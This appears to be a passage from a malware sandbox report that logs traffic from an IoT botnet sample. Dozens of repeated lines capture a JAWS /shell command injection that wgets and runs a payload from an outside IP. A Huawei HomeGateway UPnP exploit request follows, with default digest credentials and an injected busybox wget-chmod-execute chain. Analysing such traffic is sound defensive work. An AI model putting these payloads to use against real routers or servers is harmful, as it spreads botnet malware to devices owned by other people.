Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive

Source: unknown

DNS traffic detected: queries for: ezleaks.com

Source: unknown

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

